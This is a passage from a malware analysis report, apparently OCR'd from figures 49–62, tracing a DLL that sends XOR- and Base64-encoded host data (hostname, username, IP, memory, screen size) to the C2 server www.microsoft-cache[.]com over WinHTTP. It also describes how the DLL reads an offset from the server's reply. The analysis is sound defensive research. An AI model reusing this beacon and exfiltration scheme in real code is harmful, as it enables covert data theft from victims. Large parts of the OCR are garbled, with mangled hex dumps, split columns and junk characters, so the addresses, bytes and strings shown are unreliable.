#oump 1 @ioump2  WMDump3  Woump4  @Dumps @ wath1  Pellocs | Y st S| OOAECAAL | L"wuw. microsoft-cache. con”

DOAEBTAOD | OO0001BE
|m=s | Hex | Asc1z ‘mll I OACRY ) nonnoan

AAArRTrALRES fn rr rrler WA AF fElre £a FF eRlan rr ra el oo e

Figure 49
The process performs a GET request using WinHttpOpenRequest and WinHttpSendRequest
APls:

! 50 push eax
1 . £3 push eox xg7statusword 0000
i - FF 75 08 push dword ptr ss:[ebp+a] XB7SW_B 0 xB7SW C3 0 xB7TSW L2 O
80 45 FO Tea eax,dword ptr KB7SW_C1 0 x875W. CO O x87SW ES O
| 50 push eax xB7SW_SF 0 xB7SW_P 0 xB7SW_ U O
4 . FF 76 04 push dword ptr ds:[esi+4] | Sl - -
[ FF 15 4C 47 DB &C | call dword m:r us: <aWi NHTTpOpenR equest>] I e
y ! ¥ e i e - ~ s 50
d ; 1z [esp] 0OC11888
dword ptr [BCOB424C <apt.&wlnHTTpOpenfequest>]=<winhTip. WiNHITpOpenkequests> { 2: g5= 4] ODOAEB7COD L"GET"
| 3: [esp+s u-tsousso L"/money/of com-T1ines-nuisance-ca’
| 4: [espec] 000000
-TeXr:6C72003 apt.dil:$2003 #1403 ; | s: esp+10] o0AED282 L "hTtp: //wew. googlle. com”
WWouml  Noump2  Moump3  WeDump4 W Dumps -‘V‘wm-l leelLocals ' Struct it T
Address | Hex |m=;s 04600930 | L"/money fofcom-T1 1) ag 19ip’
OOAEBTFO|2F B0 GF 6|65 79 2F 6F &6 63 GF 60|20 66 69 GE| ? nne, ofcom-Tin i -
OOAEBB0O| 65 73 2D 6% (75 63 73 61|6E 63 65 0|63 61 6C 6C|es-nuisance-call | P NEER:/ - guOgT £ oM™
00AEBS10| 73 3F 30 30(37 33 35 32|38 34 36 30|39 32 36 35|5700235284609265 | coazs7s0 | oonoooo

Figure 50

If the request is not successful, the process sleeps for 180 seconds, and then it tries again.
The process retrieves header information by calling WinHttpQueryHeaders with 0x16
(WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter:
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. - —— e e e ey
| . 7 53 push ebx
! ®| 6CD7 1ABE 8D 45 FC lea eax,dword ptr ss:[ebp-4f
! ® (| 6CD71ABE 50 push eax
! ® | 6CD7 1AEBF FF 75 F8 push dword ptr ss:[Iebp-:]
! ®| 6CD71AC2 53 push ebx
1 @ | 6CD7IACS 64 16 push 16
i ®| 6CD71ACS FF 76 08 push dword ptr ds:[esi+s]
EIP puur s 1 ] FF D7 call edi £
: = e s e g e
)
edi=<winhttp.WinHttpQueryHeaders> (70CB3390)
LText:6CD71ACS apt.d11:$1ACS #ECS
e OOCOBEFS
Hit' Dump 1 My Durmp 2 LT Dump 3 L] Dump 4 My Durnp 5 @ Watch 1 [x=] Locals é: Struct OOAEBTSE | 0OO000LE
Address | Hex ASCIT ~ e At
04600C48 OG- 00 00 OO|00 OO OO0 OO)00 OO0 O0 O0)00 00 00 OO0 @ e nnns ODAEBT94 | DOAERTAS
04600C58 |00 OO0 OO0 OO|00 OO OO0 OO |00 OO0 OO0 O0|00 OO0 00 00| @ v .o e e e e nnnnnns
NAENNCER | NN AN AN Aanlan AN AN Aol oo Ao a0 ool oo D0 00 e O0AEB798| 00000000
Figure 51

As before, the malware extracts the status code and checks if it's equal to 200 by calling

WinHttpQueryHeaders API with 0x20000013

(WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter:

e|| 6cD71A33 52
e 6Co71A3 80 81 0OC 11 00 00
o 6CD71A3A 8 75 FC
e|| 5cD71A3D 56
o || 6CD71A3E 50
e|| scD71AZF 52
e || 6CD71A40 68 132 00 0O Z0
o 6CD71A4 FF 71 038
e || 6CD71A48 83 10
e/ 6CD71A4A C7 45 FC 04 00 00 00
B> FF 15 40 42 D8 6C
& —

push edx

lea eax,dword ptr ds:[ecx+110C]
lea esi,dword ptr ss:[lebp-4]1
push esi

push eax

push edx

push 20000013

push dword ptr ds:[ecx+8]

mov dword ptr ds:[eax],edx

mov dword ptr ss:flebp-40,4

€all dword ptr ds:[<e&winHttpQueryHeaders:>]

dword ptr [6CD54240 <apt.&WinHttpQueryHeaders>]=<winhttp.

Ltext:6CD71A51 apt.dll:$1A51 #ES1

WinHttpQueryHeaders>

2 EEEEEET 00C085F8
Woump1  @lpump2  UWoump3  @Woump4  Wlpumps @ watch1  Ie=llocals 4 Struct DDAEE7 20 ?333335?
Address | Hex L ~ G
04603B70 |48 00 &4 00|54 00 50 O0|2F 00 31 OD|2E OO 30 OO|H.T.T.P./.1...0. O0AEBT79C | DOAEBTAS
04603880 20 00 32 00|30 0O 30 00|20 00 4F OO0 | 4B 00 OD OO e L v TR R B AN DOAERTAO | 0OO00000
04603890 | 0A 00 44 00|61 0O 74 00|65 00 3A 00|20 00 57 0O|..D.a.T.28.:. .W. O0AEBTA4 | DOAECAAD
04603BA0| 65 00 64 0OO0|2C 00O 20 00|22 00 33 00|20 00 44 00 |e.d.,. .2.3. .D. f][]-“.EB._i\S 00000004
04603BBO | g5 00 &3 00|20 00 32 00|30 0O 32 00|30 OO 20 OO|e.Cc. .2.0.2.0. . tlUi'-E 7AC | DOAEBTFDO
04603BCO| 31 00 31 OO0|3A OO 34 00|32 00 3A OD|35 00 35 0O(1.1.:.4.2.:.5.5. DOAEBTEC [FECDT720C2
04603BDO | 20 00 47 00| 4D 00 o4 00|00 0O 0OA OOD|43 0O &F OO = C [ R s O0AEETE4 || 04600990
04603BEO| 6E 00 74 00|65 00 6E 00|74 00 2D 00D|4C 00 65 00|n.t.e.n.t.-.L.e. ooace7es || 00AECARG
04603BFO| 6E 00 67 00|74 00 68 00|3A 00 20 00|21 00 34 00|n.g.t.h.:. .1.4. FOAERHE || BONEREG
04603C00( 34 00 36 00|0D 00 OA 00|43 00 6F OOD|GE 00 74 00|4.6..... C.o.n.T. oosce7co || coasoo4ar
04603C10| 65 00 6E 00|74 OO 2D 00|54 00 79 00|70 00 65 00|e.n.t.-.T.y.p.e. noace7c4 || aooonas4
04603C20(3A 00 20 00|74 00 65 0O(78 00 74 0O|2F 00 68 0OO|:. .t.e.x.T./.h. aitieos | battnooe
04603C30(74 00 6D O0|&C 00 OD OO |QA 00 53 DD|(65 00 72 00|t.m.1..... S.e.r. aoacerce || a0AERTEG
04603C40(76 00 65 00|72 00 3A 00|20 OO 46 OO|GL 00 6B 0O|v.e.r.:. .F.a.k. 005eE700 |LODAER910
04603C50( 65 00 4E 0OO|(65 OO 74 0O0|2F 00 31 O0|2E 00 33 0O0|e.N.e.t./.1...3. D0AEBTD4 [F6CD7 1815
04603Ce0| 0D 00O O0A O0|0D OO OA OO0 |00 OO0 OO0 00|00 00 00 00| .. ceeeeanaannnas nnacorne l nacnnaan
Figure 52

Now there is a call to the WinHttpQueryDataAvailable function, and then it reads the data
returned by the C2 server using WinHttpReadData API:

i i i e | sco7iepo To push eax

fie ®| 5CD7L1BDL FF 75 FC push dword ptr ss:|[febp-4]

T e scD71BD4 57 push edi

iy @| 6CD71BDS FF 76 08 push dword ptr ds:[esi+8]
s FF 15 58 42 D8 6C €all dword ptr ds:[<&winHttpReadData-]

: L ] S e ~ 7

e

LText:6CD7F1BDE apt.dll:41BD8 #FD&

dword ptr [6CDE84258 <apt.&winHrttpReadDatar]=<winhttp.winHttpReadData-

. . . . 3 DOCOBSFE
el Dump 1 244 Dump 2 244 Dump 3 244 Dump 4 Y Dump 5 & watch 1 [x=] Locals 4 struct DDAEB7 84| 04606570

[address |Hex [Aasciz | = nm::;gg mﬁ?ﬁ

| 04606570 i@ 00 00 00[00 OO0 00 000D OO0 0D OO(OD 0O OO0 OO(R.......ccnvuun. | E,u,‘_\‘..n_m, EE“,‘“..M i

Figure 53
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The buffer containing the information that will be exfiltrated is XORed byte-by-byte with a
one-byte key. The following information belongs to the buffer: the C2 server address,
hostname, username, IP address represented as hex values, 01 constant because the
process is running on a 64-bit environment, the result of GetLocalelnfoA call (Ox1b5 = 437 in
our case), the amount of physical memory represented as a 32-bit value, the amount of
physical memory currently available represented as a 32-bit value, the processor name, the
width of the screen of the primary display monitor represented as a 32-bit value (0x780 =
1920 in our case) and the height of the screen of the primary display monitor represented as
a 32-bit value (0x438 = 1080 in our case):

6CD74147
6CD74149

GCOT 4150

GCD7 4151
6CDT 4153

£

FF

40 EC
4C OF 12

xor edi,edi

mov cl,byte ptr ss:jfebp-14)
xor byte ptr ds:[edi+eax+12],cl
inc edi

cmp edi,esi

jh apt.6CD74149

cl=D7 'x°'

byte ptr [edi+eax*1+12]=[00C1F4B2

L"http: //waw.microsoft-cache. com: 443"]=68 "'h"

LEexti6CD7414C apt.dl1:5414C #354C

B4 Dump 1

B4 Dump 2

B4y Dump 3

Bl Dump 4

4y Dump 5

B watch1  Ix=llocals 4 Struct

Address

Hex

OOC1F4B2
DOCLF4C2
DOC1F4D2
DOC1F4E2
ODOC1F4F2
OOC1F502
0OC1F512
0OC1F522
DOC1FS32
OOC1FG 42
00OC1F552
00C1F5 62
0OC1FS72
OOC1FL B2
00C1F5 92
DOC1FSAZ
DOC1FSEZ
00C1FSC2
DOCL1FsD2

£

68
77
73
&8
34
00
00
00
00
0o
0o
00
00
00
0o
00
00
00
00

00
0o
00
0o
0o
00
00
oo
00
0o
0o
0o
00
00
00
00
00
0o
00

74
77
&6F
&5
33
o0
oo
o0
00
o0
oo
oo
00
00
oo
o0
00
oo
00

00
0o
00
0o
00
00
00
00
00
00
0o
0o
00
00
00
00
00
00
00

74 00 70 00
ZE 00 &0 00

13

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

00

oo
o0
o0
oo
00
00
o0
oo
o0
o0
oo
o0
00
oo
00

74

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

00

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

34 00 2F OO
22 00 62 00
<0 00 22 00

GF
oo
00
o0
o0
00
o0
o0
oo
o0
o0
oo
00
00
o0
00

00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

&D
00
00
00
00
00
00
00
o0
00
00
00
00
00
00
00

oo
oo
o0
00
oo
00
o0
oo
oo
00
00
oo
00
o0
o0
00

Z2F 00 77 00
72 00 6F QO

3A
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00

00
o0
00
00
00
00
00
00
00
00
00
00
00
00
00
00

34
oo
00
00
o0
o0
o0
o0
oo
00
o0
o0
00
o0
oo
00

Figure 54

After the operation is

complete, the buffer looks

like in the following picture:

Address

Hex

ASCII

OOC1F4B2
OOC1F4C2
OOC1F4D2
OOC1F4EZ2
OOC1F4F2
0O0C1F502
0OC1F512
0OC1Fs 22
OOC1FS 32
0OC1FS 42
OOC1FEE2
0OC1FS 62
OOC1FLF2
OOC1F5 B2
OOC1F5 92
OOC1FSAZ
OOC1FSBE2
0OC1FSC2
OOC1FSD2

BF
AD
A4
BF
E3
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7

Dy
Dy
Dy
Dy
Dy
Dy
oy
oy
Dy
Dy
Dy
Dy
oy
Dy
oy
oy
Dy
Dy
Dy

A3
Al
ES
B2
E4
o7
D7
or
D7
D7
DrF
D7
o7y
o7
o7y
or
D7
or
Dr

D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7

A3
F9
Bl
F9
o
D7
Dv¥
o
D7
o7
D7
D7
o7y
D7y
ov
o
D7
ov
o7

D7
D7
D7
o7
D7
D7
D7
D7
D7
D7
D7
o7
D7
D7
D7
D7
D7
D7
D7

A7

A3
B4
oy
Dy
oy
oy
D7
Dy
Dy
D7y
oy
Dy
oy
oy
D7
Dy
Dy

o7
o7y
o7
D7
o7
o7
o7
or
o7
or
o7
D7
o7
o7
o7
or
o7
o7
o7

ED
BE
FA
B&
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7

Dy
Dy
Dy
Dy
oy
Dy
oy
oy
Dy
Dy
D7y
Dy
oy
oy
oy
oy
Dy
Dy
Dy

F&
E4
E4

o7y
D7
D7y
or
D7
or
D7
D7
o7y
D7
oy
Dr
D7
or
D7

D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7
D7

F&
AL
B&
ED
D7y
D7
oy
o
D7
o7
D7
D7
o7
D7
ov
o
D7
o7
D7

D7
D7
D7
o7
D7
D7
D7
D7
D7
D7
D7
o7
D7
D7
D7
D7
D7
D7
D7

AD
EE
B4
E3
oy
Dy
oy
oy
D7
oy
oDy
D7y
Dy
Dy
oy
oy
D7
Dy
D7y

D7
o7
or
D7
o7y
o7
o7
or
D7
o7
o7
D7
o7
o7
o7
or
o7
o7
o7

AXEXEIXNERTIXBXEX X
X XMLCTNEX T XEX X
Hy M ExUX XXX
LHIKUX X XX IKEX
dAX AXNKH KKK HKHHKN
KKK H KK H KKK H KN KRN
HHKHHH I KKK H KN KRN
WK KKK R KRN
B S Figure 55
KR K H KKK K H KA KKK
KK KKK H KRN
KEKH KKK EKKHKKKKK
MK H R R KM RN
KKK H KK IR KH KN KRN
HEKHHH I KKK H KA KRN
WK KK R KRN
HEKHHEHEEKHKHHRK
KRR KM IR KK H KKK KK
KKK H KKK H KN KRN
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The malware developers have written their implementation of the Base64 algorithm rather
than relying on Windows APIs. The following picture presents a part of the assembly code

corresponding to it:

Ttext:6CDT4268
LTdext:6CDT4268
Ldext:e(D74268 mov
LTdext:eCD74268A mov
.text:6C07426C cdq
.text:6CD74260 push
text:eCD7426F pop
text:eCD74278 idiv
LAext:6CD74272 mov
Ldext:e(D74274 xor
dext:e(D74276 xor
Ltext:6CD74278 sub
LTdext:aCD7427A mov
LdextieCD7427D test
Ltext:6C07427F jle

loc_BCD74268:

[ecx], eax
eax, edi

3

ecx

ecx

ecx, edi

eax, eax

esi, esi

ecx, edx
[ebp+var_4C], ecx
ecx, ecx

short loc_6CD742ED

vy

il i =

Jgext:eCD74281
Jext:6CD74281
Jext:eCD74281
gewt:elDV4284
gext:6CD74287
Lgext:eCD7428A
Jtext:eCDV4280
Jdext:eCD74291
gext:eCD74294
LJext:6CD74297
Jext:eCD7429A
Lfewt:6CD7429E
Jgext:6CD74241
Jgext:eCDV42A4
Jdext:eCDV4246
dext:6CD742A9
Jgext:eCDV42AD
Jext:6CD742B1
Jgext:eCD742B4
Lgewt:eCD74287
Lgext:6CD742B6
Ltext:eCD742BE
Jdext:eCDV42C1
Jgewt:eCDV42C4
Jgewt:eCD742C7
Jext:6CDV42CE
Jext:6CD742CF
Jewt:aCD74202
Lgext:6CD74205
Lgext:eCD74209
Jdext:eCDV42DD
Jgext:eCD742ER
Jgewt:eCD742E3
Jgext:6CDV42ER
Jext:6CD742ES

loc_BCD74281:

Mo
lea
MOV Z X
shr
Mo
Mo
MOV ZX
shl
lea
MOV Z X
shr
add
and
Mo
Mo
Mo
MOV Z X
lea
MOV Z X
shr
lea
and
Mo
Mo
MOV Z X
and
Mo
Mo
Mo
add
add
cmp
jl

edi, [ebptarg @]
ecx, [editesi]

edx, byte ptr [ecx]
edx, 2

dl, [ebpt+edx+var 48]
[ebxteax], dl

ecx, byte ptr [ecx]
ecx, 4

edi, [editesi+l]
edx, byte ptr [edi]
edx, 4

edx, ecx

edx, 3Fh

cl, [ebptedxt+var_ 48]
[ebxt+eax+1l], cl

ecx, [ebptarg @]
edi, byte ptr [edi]
ecx, [ecxtesitl]
edx, byte ptr [ecx]
edx, &

edx, [edx+edi*4)]
edx, 3Fh

dl, [ebptedxtvar 48]
[ebxt+eax+2], dl

ecx, byte ptr [ecx]
ecx, 3Fh

cl, [ebptecx+var_ 48]
[ebx+eax+3], cl

ecx, [ebpt+var_4C)]
esi, 3

eax, 4

esl, ecx

short loc 6CD74281

Figure 56

The encrypted buffer is en.coded with the Base64 algorithm:
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Address

Hex

ASCII

0460307

04603DC
04603DD
04603DE
04603DF
04603ED
04603EL
04603E2
04603E2
04603E4
04603ES
04603E6
04603E7
04603EB

04603068

&6F
75
74
874
835
8(31
8|31
8|31
8(31
5|31
8|31
8|31
8|31
8|31
5|31
8(31

45| 67
(41 41 41 41
04603DEE Fi
046030258
04603DA5
04603DES

4E
4E
4E
4E
4E
39
39
29
29
39
a9
39
39
39
39
29

67

66
85
G5
85
=15
=13
66
66
66
a6
(=153
66
=153
66
66
=153

41

35
6B
32
34
LY.
E8
58
LE
8
58
L8
58
58
E8
58
L8

41
43
31
31
31
21
21
31
21
31
21
31
31
31
21
31
31
31
21

63
41
64
72
L
L4

e

&6
&6
66
66
&6
66
&6
66
115
&6
66
66

43
41
LE
LE
55
LB
55
LB
L&
55
LE
L8
55
LB
55
LB
LB
55
LE

62
76
2B
76
73
76
37
31
31
31
31
31
31
31
31
31
31
31
31

GE
39
4E
74
B4
a9
64
39
39
39
a9
29
39
a9
39
19
39
39
29

51
65
65
G5
85
65
a6
=153
66
66
66
66
66
(=153
66
=15
66
66
66

41
64
&7
30
6A
79
6A
EE8
E8
58
LE
8
58
L8
55
EE8
E8
58
L8

4z
31
21
31
31
21
21
31
31
31
31
31
31
21
21
21
21
31
21

41
36
1
36
2F
2F
2B
39
39
39
39
39
39
39
39
39
39
39
39

41
50
44
585
72
&E
50
66
66
66
66
66
66
66
66
66
66
66
66

41
55
LE
L8
55
LB
55
LB
LB
55
LE
L8
55
LB
55
LB
LB
55
LE

EggAANCCbkOABAAA
AAAMCAAAYVIE LGP
poftl,/jX+NegleDX
oNTE17rXvteol6xXX
uUNekl? jXsdejl/rx
tNeZ17 TXVIeyl,/nx
TNe4l7rX7dTj1+PX
ENTX19TX19TX19TX
19FR19T 19T K197
19TX19TX19TX19TX
19TX19TX19TX19TX
19fx19FxX19FK19FX
19TX19T X197 X19TX
19FX19TX19TX19TX
19TX19TX19TX19TX
19TX19TX19TX19TX
19FR19T 19T K19
19TX19TX19TX19TX
19FX19TX19TX19TX

Figure 57

As before, there is a WinHttpOpen API call (same user agent as the last time) followed by a
WinHttpSetTimeouts function call, and then it tries to connect to www.microsoft-cache[.Jcom
on port 443 using WinHttpConnect API. The malware performs a POST request by calling
the WinHttpOpenRequest function (as before, the data parameter contains randomly-
generated characters):

g

| < §i

dword ptr [6CDE424C <BPT.&WINHTTDOPEREqUEST>]=<winhTTp. WinHTLDODErREGUEST>

.text:6CD72003 apt.d11:520035 #1403

&% Dump 1

¥4 Dump 2

% Dump 3

04603068 |45 &7 &7
04603078 41 41 41
OJSDEDBB i

Figure 58

4141

4E 63 43|62 6B 51 41
41 41 41|76 39 65 6A
2F GA 5B|2B 4E 65 67

push eax
push ebx

push dword ptr ss
Tea eax,dword Dtr

push eax

push dword ptr ds
|el‘|1 dword ptr ds:

5 rEccg 10§

1+4]
«m_ nHTTpOperRequest>]

uBT5STatusword 0000
* fworid X87SW_B O xB7SW.C3 0 x875WL2 O
X875W_C1 0 XxB7SW.CO 0O XxB7SW_ES O
XB7SW_SF O XB7SW_P

0 xB7SwW_U o

p— = I:f(il)

esp] DOCOBISE

Iz: lesp+4] ODAEB7ES L"POST

Lesm—a] 04600C48 L" uor'm,wmeo shri
esp+C] 00000000
esp+10] OOAEE3D2 L“http:/ /www.googl

it

[E ]
w4 Dump 4 PiGGAERT 68| 0oAES788 | L POST®
DOAEB768 04G00C4E | L™/world/video/shrien-dewani-arrives-uk-murder-trial-collaps
DOAEBT 6C

00000000
0O0AEB7 70| OOAEE3DZ | L"hTTp://www. google. com™
00000000

DOAEBT 74

O0AEBT TS| 00000100

The encrypted + encoded buffer is exfiltrated to the C2 server via a WinHttpWriteData
function call, as shown below:

Figure 59

Ei ; ®| 6CDF 20589 50 push eax
e ®| 6CD7F208A FF 75 10 push dword ptr ss:[febp+10§
o I e 6CD7208D 89 5D 08 mov dword ptr ss:[febp+s],ebx
i ®| 6GCD7 2090 FF 75 0OC push dword ptr ss:[[ebp+Cl
e i e | 6CD72093 FF 76 08 push dword ptr ds:[esi+8]
mﬂ—:—:—:—!—)- FF 15 24 42 D8 &C Call dword ptr dsi[<awinHttpwriteData~]
e = s ey r E——
sealidilh
dword ptr [6CD84234 <apt.&WinHttpwriteData>]=<winhttp.winHttpwriteData-»
.text:6CD72096 apt.dll:$2096 #1496
. : : . i) 3 IEEERES 00COB5FE
Ghoump1  @loumpz  @Woump3  @Woump4 @Woumps B watch1  Ir=lLocals A gﬁggﬁg:
2 S Sl ~ I
04603065 | 45 67 67 41(41 4E 63 43|62 6B 51 41|42 41 41 41| EgoaANcChbkQABASA O0AEETTC | 04600C 48
04603078 | 41 41 41 41|43 41 41 41|76 39 65 GA[31 36 50 55| AAAACAAAVIE]L16PX n0AcE7 a0 | DOAEDBCO
04603088 | 70 39 &6 74|31 2F 6A 58|2B 4E 65 67 (31 36 44 58| paftl/jX+NegleDX O0AEET 34 | 04603068
04603098 | &F 4E &6 35|31 37 72 58|76 74 65 30(31 36 58 58| oNFS17rXvitedlexx ODAEETSS | 004FO050
04603DA8| 75 4E 65 6B|31 37 6A 58|73 64 65 GA[31 2F 72 58| uNekl7jXsdejl,/rX O0DAEBTSC | D05 4005 3
04603DB8| 74 4E 65 32|31 37 54 58|76 39 65 79|31 2F 6E 58| tNeZl7TxXvIeyl/nx ODAEET20 | DO000000
04603DCS| 74 4E 65 34(31 37 72 58|37 64 66 G6A(31 2B S50 58| tNedl7rX7dfjl1+PX O0AEET 34 | DOAEDBCO
04603DDS8 | 35 4E 66 58|31 39 66 55|31 39 66 58|31 39 66 55| SNFX19FX19TX19TX DU:EB;éé ODAERBED
04603DES| 21 29 66 58|31 39 66 58|31 39 &6 58|31 329 66 58| 19FX19fX19TX19TX UD?EB;QC r6CDT175E
04603DF8| 31 39 66 58|31 29 66 58|31 39 &6 58|31 329 66 58| 19fX19fx19Tx1I9TX DU:EB;"U 00000000
04603E08| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9FX1OFX n0aEe7 a4 | n460z068
04603E18| 31 39 &6 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19FX19FX19FX 00AEE7AS | ooOO0AC 4
04603E28| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19TXI9TX19TX 00AEETAC || DOAECAAD
04603E38| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19FX19FX19FX noaEe7e0 || ooBESSERE
04603E48| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19FX19FX19FX noace7e4 | nooooooo
04603E58| 31 39 66 58|31 39 66 58|31 39 66 55(31 39 66 58| 19FX19FX19FX19FX noaceres | 72eF772E
04603E6G8| 31 39 66 58|31 39 66 58|31 39 66 58(31 39 66 58| 19FX19FX19FX19FX noace-ec | 7e2FsaeC
04603E78| 31 39 &6 58|31 39 66 58|31 39 66 558(31 39 66 58| 19FX19FX19FX19FX noace-co | Fess4ea
04603E88| 31 39 66 58|31 39 66 55|31 39 66 58|31 39 66 58| 19FK19Fx19Fx19TX | ] e
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The malicious process performs 2 WinHttpQueryHeaders function calls: 1st one has 0x16
(WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter and the 2nd one has 0x20000013
(WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter. It
checks out the status code and ensures that it's 200. The thread continues by calling
WinHttpQueryDataAvailable and WinHttpReadData APIs to retrieve the server’s response.
The malware performs another GET request to the C2 server:

50 push eax
83 push ebx xB7Statusword 0000

.
.
.
.
ol

FF 75 08 push dword ptr ss:|febp+s [ XB7SW_B 0 xB7SW.C3 0 xB7SW.CZ 0O
SD 45 FO lea eax,dword ptr :febp-10§ XB7SW_C1 0 xB7SW_CO 0 xB7SW_ES5 0O
push eax € XB7SW_SF 0 XB7SW_P 0O XBFSW.U O
i FF 76 push dword ptr ds
Fg— CD7 2003 FFi1s 4c 42 DB 6C _cl“ Mrd prr ds: [c&mnuupopemequest;-} LRV ]
ol 5 Default{sr.dcd} w |5 [$][Tuniod

sp] OOBFDOAS

“dword ptr :ECDB&:AC <apt.awWinHTtpOopenfequests> Jmawinhttp. WinHttpOpenfequest> p+4] ODAEBTAB L"GET"
3t r!sp-s 04600C48 L"/Tifeandstyle/marmalade

4: [esp+C] 00000000

-Text:6CD72003 apt.d11:52003 #1403

00BFDOAB
“eDumpl  GiOump2 Y Dump3  RW tJU.‘( OOAEB784 | 0DAEBTAS | L"GET"
Address | Hex 7l mza?sa 04600C48 | L"/Tifeandstyle/marmalade-paddington-sales-up-making-drinking70023528461146965&data=vznoflywprio”

s DOAEB7SC 00000000
DOAEB7DB | 2F &C 69 66|65 61 GE 4|73 74 |
ODAEB7ES| 72 €D 61 &C|€1 €4 &5 20|70 61 OO0AEB790 | OOAED282 | L"http: //wwi.google. com”

O0AEB7FS| GF SE 2D 73|61 &C 65 73 75 nm:g794|
2 o b

Flgure 60

The same steps as before are repeated one more time: 2 WinHttpQueryHeaders calls
followed by WinHttpQueryDataAvailable and then WinHttpReadData in order to read the
data sent by the server. As mentioned in the Unit42 article at
https://unit42.paloaltonetworks.com/new-attacks-linked-to-c0d0s0-group/, the server’s
response should contain a “background-color” parameter followed by “#” and an offset. The
offset is read, converted to an integer using the atoi function, and then divided by 100, as
shown in figure 61:

ol e =
.text:6CD71879 push 23h ;3 "#° = Amt
.text:6CD7187B push eax ; char *
Ltext:6C0OV1B7C mov [Ehp+«aﬂ 18], ebx
.text:6C07187F call _strchr
Ltext:6CD71884 pap ecx
Ltext:6CD71885 pap ecx
.text:6CD71886 cmp eax, ehx
.text:6CD71888 jz short loc_ 6CD71893E8
¥ |  Figure 61
il s =
Ltext:6CD7188A inc eax
Ltext:6C071888 push eax : char *
text:6C07188C call _atoi
Jgext:eCD71891 pop 2K

Ltext: 60071892 push 6dh ; 'd’
.text:6CD71894 cdq

Ltext:eCD71895 pop ecx
text:6CD71896 idiv ecx
.text:6CD71898 mov [ebp+var_18], eax

The idea is that the malware reads the data found at the position equal to offset/100. In our
case, we’'ve modified the response to contain “#28300” which translates to an offset of 28300
(the position will be 28300/100 = 283). The following picture reveals the fact that the process
reads the data found at that specific position (0x11b = 283):
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03

EIP - 45 FO add eax,dword ptr ss:[ebp-10]
®(eCD718D4 56 push esi
#||6CD7 1805 50 push eax
®(6CD718D6 FF 75 F4 push dword ptr ss:[lebp-Cj
®||6CD718D9 ES 22 39 00 00 £all apt.eCD75210
® |eCD718DE 82 C4 18 add esp,18
®||6CD71BEL 83 FE 04 cmp esi,4
[P ®||6CD718E4 ~ OF 82 FO 00 00O 00 jb apt.6CD719DA
i ®||6CD71BEA eA 04 push 4
. @ (|6CD718EC FF 75 F4 push dword ptr ss:|lebp-Cj
! @ ||GCDT718EF 8D 45 F8 lea eax,dword ptr ss:[febp-3]
i ®(eCD7F18F2 50 push eax
! ®(ceCD718F2 89 5D F8 mov dword ptr ss:[lebp-3j, ebx
| e ||6CD718F6 ES 15 39 00 00 €al1 apt.6&CDF5210
i #(|sCD718FE BB 45 F8 mov eax,dword ptr ss:[febp-35]
! ®|lscD718FE 83 C4 0C add esp,cC
i #®||6CD71901 3B FO cmp esi,eax
! r—----#||6CD71303 ~ 73 08 jas apt.e&elD7190D
! i ®([ecD71905 88 5D FF mov byte ptr ss:|[Jebp-1J,b1
| ——e|l6CD71208| ~ E9 €D 00 00 00 jmp apt.&CD7190A
o= | e et e A oy pr e g
i il P
b
eax=04603F60 "<html='r'\n#28300"
dword ptr [ebp-10]=[00AEBBES8]=11E L'&"
.Text:6CD718D01 apt.dll:$1801 #CD1
EeDumpl  Pypump2  WUDump3 B Dump4 B Dump s B watch 1 Ix=l Locals & st
Address | Hex ASCII
04603F60 [[3E] 68 74 GD|6C 3E OD OA|23 32 38 33|30 30 0D OA|Bhtml>..#28300..
04603F70 L 74|6C 65 3E 46|61 6B 65 4E|65 74 2D 4E| <titlexFakeNet-N
04603F80( 47 3C 2F 74|69 74 6C 65 |3E OD OA 3C|2F 68 65 61| G</Titlex..</hea
04603F90| 64 3E OD DA|DOD OA 3C 62|6F 64 79 3E|OD DA 3C 62 |d>....<body>..<b
04603FAQ| 3E 3C 70 72|65 3E OD OA|20 20 20 20|20 5F 5F SF|=<pre=.. -
04603FBO|5F 5F 5F 20|20 20 20 20|20 5F 20 20|5F 5F 5F &5F|____ =
04603FC0O|5F 5F 5F 5F |20 5F 20 20|20 5F 20 5F|5F 5F &5F &F wre i
04603FDO|5F 20 5F 5F|5F 5F &5F S5F|5F 20 20 20|20 20 5F 20| _ i
O04603FECQ| 20 20 5F 20|20 5F &5F 5F|5F 5F 0D 0A |20 20 20 20 i
04603FF0 | 7C 20 20 5F|5F 5F 5F 2F|5C 20 20 20|7C 20 7C 2F| | Vi I s
04604000 ( 20 2F 20 20|5F 5F &GF GF|7C 20 &5C 20|7C 20 7C 20| [/ =%
04604010 | 20 5F 5F 5F|5F 7C 5F 5F|20 20 20 S5F|5F 7C 20 20 it sy
o4604020| 20 7C 20 5C |20 7C 20 FC|2F 20 5F 5F|5F 5F 7C 0D | | |F I
04604030 | 0A 20 20 20|20 7C 20 FC|S5F 5F 20 2F|20 20 5C 20| . I st §
04604040 | 20 FC 20 27|20 2F FC 20|7C 5F 5F 20|20 7C 20 20 =% il e
04604050 (5C 7C 20 7C |20 7C 5F SF|20 20 20 20|20 7C 20 7C|(%| | |— |
04604060 |5F 5F 5F 5F|5F 5F ¥C 20|20 5C 7C 20|7C 20 7C 20 | L
o4604070| 20 5F 5F OD|0A 20 20 20|20 FC 20 20|5F 5F 2F 20 . e e
04604080 (| 2F 5C 20 5C |20 7C 20 20|3C 20 7C 20|20 5F 5F 7C|/\ M | & 1
62

Figure

According to the same article, the first 4 bytes represent the total length, and the remaining
